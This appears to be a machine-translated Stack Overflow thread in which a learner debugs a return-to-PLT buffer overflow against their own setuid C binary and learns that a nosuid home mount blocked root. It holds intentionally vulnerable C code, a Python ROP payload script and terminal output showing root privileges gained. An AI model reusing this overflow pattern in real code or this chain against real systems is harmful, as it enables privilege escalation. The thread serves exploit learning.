【问题标题】:why will my buffer overflow exploit open a user shell only instead of a root shell?为什么我的缓冲区溢出漏洞只会打开用户 shell 而不是 root shell?
【发布时间】:2017-10-16 20:57:02
【问题描述】:

我一直在关注一些关于缓冲区溢出利用的教程。但我的问题是,我无法打开 root shell,我总是会得到一个普通的用户 shell。我检查了以下几点

我重新验证了以下项目,但仍然无法获得真正的 root shell:

  • 我正确地将二进制文件的所有者设置为 root 并设置了 s 标志(检查)
  • 我已验证我使用的漏洞利用工作正常,使用了正确的 system@plt 和 exit@plt 地址,并且通过 pop rdi;ret; 将值正确加载到 rdi;细分市场;毕竟我确实得到了一个 shell,但没有像预期的那样得到一个 root shell; (检查)
  • 我听说现在 dash 和 bash 确实会放弃特权,并且将 /bin/sh 链接到 /bin/zsh 会有所帮助,但这对我没有帮助;仍然获得非 root shell(检查,方法对我不起作用)
  • 我还尝试调用 setuid(0) 和 seteuid(0) 在二进制文件中进行测试。仍然没有root shell; (检查,对我不起作用)
  • 我还看到有些人将 /proc/sys/kernel/yama/ptrace_scope 设置为 0(请参阅此处的帖子)see post here,但对我而言并非如此(值设置为 1,我从未接触过) (检查一下,我的值​​设置为 1 应该没问题)
  • 我使用的是 linux mint 18.1 serena,也许这里有一个额外的安全功能可以降低权限并阻止 root-shell?
  • 请参阅下面的我的 c 代码和利用 python 脚本以供参考(漏洞在函数 vuln() 中);函数 shell() 只是为了提供相应的@plt 函数的地址(这只是为了锻炼和玩耍)
  • 我使用 'gcc -fno-stack-protector -o ghost ghost.c' 编译二进制文件以避免堆栈金丝雀

有人知道问题可能是什么吗?为什么我仍然无法获得 root shell?

提前感谢您的任何建议和提示。 最好的 Zaphoxx

易受攻击的 c 代码:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void shell(){
    system("/bin/sh");
    exit(0);
}
int vuln(){
    char buf[4];
    ssize_t l=0;
    printf("[+] input: ");
    l=read(0,buf,128);
    printf("[+] recv: ");
    write(1,buf,l);
    return 0;
}

int main(){
    //setbuf(stdout,0);
    setuid(0);
    seteuid(0);
    vuln();
    return 0;
}

python利用脚本创建payload:

#!/usr/bin/python
from struct import *
from subprocess import call

poprdi=0x4007e3#pop rdi;ret;
system_plt=0x400560#address of system@plt
exit_plt=0x4005a0#address of exit@plt
shell=0x400804#address of '/bin/sh'
buf=b''
buf+=bytearray("A","utf-8")*24
buf+=pack("<Q",poprdi)
buf+=pack("<Q",shell)
buf+=pack("<Q",system_plt)
buf+=pack("<Q",poprdi)
buf+=pack("<Q",0)
buf+=pack("<Q",exit_plt)

with open("pwn","w") as p:
    p.write(buf)

编辑更新:

所以我按照建议重试,直接在一个小二进制文件中调用 execve(),而不是使用易受攻击的二进制文件,只是为了检查这是否会打开一个根 shell:

zaphoxx@zaphoxx ~/github/ghostInTheShell $ vim shellcode.c
zaphoxx@zaphoxx ~/github/ghostInTheShell $ gcc -fno-stack-protector -o shell shellcode.c
zaphoxx@zaphoxx ~/github/ghostInTheShell $ sudo chown root:root shell ; sudo chmod 4755 shell
zaphoxx@zaphoxx ~/github/ghostInTheShell $ ll shell
-rwsr-xr-x 1 root root 8608 Oct 17 21:29 shell*
zaphoxx@zaphoxx ~/github/ghostInTheShell $ ./shell
$ id                                                                           
uid=1000(zaphoxx) gid=1000(zaphoxx) groups=1000(zaphoxx),4(adm),24(cdrom),27(sudo),30(dip),33(www-data),46(plugdev),113(lpadmin),130(sambashare)
$ whoami                                                                       
zaphoxx
$ exit                                                                         
zaphoxx@zaphoxx ~/github/ghostInTheShell $ cat shellcode.c
#include <stdio.h>
#include <unistd.h>

int main(){
    char *name[2];
    name[0]="/bin/sh";
    name[1]=NULL;
    execve(name[0],name,NULL);
}
zaphoxx@zaphoxx ~/github/ghostInTheShell $

所以它不会打开root shell;

我确实按照其他帖子中的建议将 /bin/sh 链接到 /bin/zsh,请参见此处:

zaphoxx@zaphoxx ~/github/ghostInTheShell $ ll $(which sh)
lrwxrwxrwx 1 root root 12 Oct 15 22:09 /bin/sh -> /usr/bin/zsh*
zaphoxx@zaphoxx ~/github/ghostInTheShell $

按照 Peter 的建议,我确实在我的漏洞利用中使用 '/usr/bin/id' 作为系统参数来检查,但结果与预期相同:

zaphoxx@zaphoxx ~/github/ghostInTheShell $ ./ghost < pwn
uid=1000(zaphoxx) gid=1000(zaphoxx) groups=1000(zaphoxx),4(adm),24(cdrom),27(sudo),30(dip),33(www-data),46(plugdev),113(lpadmin),130(sambashare)
[+] recv: AAAAAAAAHzaphoxx@zaphoxx ~/github/ghostInTheShell $ ll ./ghost
-rwsr-xr-x 1 root root 8816 Oct 17 22:25 ./ghost*
zaphoxx@zaphoxx ~/github/ghostInTheShell $ 

zaphoxx@zaphoxx ~/github/ghostInTheShell $ cat ghost.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void shell(){
    system("/usr/bin/id");
    exit(0);
}
int vuln(){
    char buf[4];
    ssize_t l=0;
    l=read(0,buf,128);
    printf("[+] recv: %s",buf);
    //write(1,buf,l);
    return 0;
}

int main(){
    //shell();
    //setbuf(stdout,0);
    //setuid(0);
    //seteuid(0);
    vuln();
    return 0;
}
zaphoxx@zaphoxx ~/github/ghostInTheShell $ 

更新:我从 K.A.Buhr 那里得到了一个很好的提示,可以检查 /proc/mounts 是否有 nosuid 条目,并且:

zaphoxx@zaphoxx ~ $ cat /proc/mounts | grep zaphoxx
/home/zaphoxx/.Private /home/zaphoxx ecryptfs rw,nosuid,nodev,relatime

所以这似乎是我的问题的原因。我将如何以正确的方式改变它,或者如何暂时停用 nosuid 以便测试漏洞?

【问题讨论】:

  • 您说您设置了“s 标志”。你确定你选对了旗帜吗?听起来你可能设置了粘性位或其他东西。
  • 为您的二进制文件发布 ls -l 输出,只是为了仔细检查它的权限中是否设置了 setuid 位。
  • 尝试strace -o trace.log -f /bin/sh 作为您从systemstrace SUID 二进制文件运行的命令可能会很有趣。 (我忘记了 strace 是否改变了 SUID 可执行文件的行为......)或者尝试/usr/bin/id 或其他东西来检查您是否可以以 root 身份运行简单的东西。 (甚至只是/bin/touch /root/i_was_root
  • 您可能需要检查cat /proc/mounts 的输出以查看您的主目录是否已挂载nosuid。这将导致 setuid 标志被忽略。
  • 在其他地方工作可能最容易,比如/usr/local/src/ghostInTheShell。或者只将二进制文件复制到没有nosuid 的文件系统上。也许使用源目录中的符号链接。

标签: python c x86-64 buffer-overflow exploit


【解决方案1】:

感谢大家提供的帮助。特别感谢提供正确提示的 K.A.Buhr。

在 /proc/mounts 中有多个文件夹/文件系统条目,它们确实具有 nosuid 标志。这阻止了利用打开根 shell,因为我试图利用的二进制文件位于带有 nosuid 标志的文件夹中。

我将二进制文件移动到 /usr/local/src/ghostInTheShell 并创建了一个从原始文件夹到新文件夹的符号链接(没有 nosuid 标志)。

在那里运行漏洞利用,一切都按预期工作。谢谢大家。查看以下结果:

zaphoxx@zaphoxx /usr/local/src/ghostInTheShell $ gcc -fno-stack-protector -o ghost ghost.c ; sudo chown root:root ghost ; sudo chmod 4755 ghost; ll ./ghost;
-rwsr-xr-x 1 root root 8816 Oct 18 12:22 ./ghost*
zaphoxx@zaphoxx /usr/local/src/ghostInTheShell $ ( cat pwn ; cat ) | ./ghost
ls
exp.py   ghost.py   in.txt  peda-session-dash.txt     sexecve.log
fish     ghost.py~  leak    peda-session-ghost.txt    shell
fish.c   gits       leak.c  peda-session-lib2plt.txt  shellcode.c
fish.c~  gits.c     lib2plt pwn
ghost    gits.o     lib2plt.c   pwn.py
ghost.c  in.text    libtest.so  r2lib-addresses
whoami
**root**
id
uid=1000(zaphoxx) gid=1000(zaphoxx) **euid=0(root)** groups=1000(zaphoxx),4(adm),24(cdrom),27(sudo),30(dip),33(www-data),46(plugdev),113(lpadmin),130(sambashare)
exit
[+] recv: AAAAAAAAH

【讨论】:

    猜你喜欢
    • 2021-01-20
    • 1970-01-01
    • 2016-06-04
    • 1970-01-01
    • 2021-02-06
    • 1970-01-01
    • 2020-07-13
    • 1970-01-01
    • 2013-10-10
    相关资源
    最近更新 更多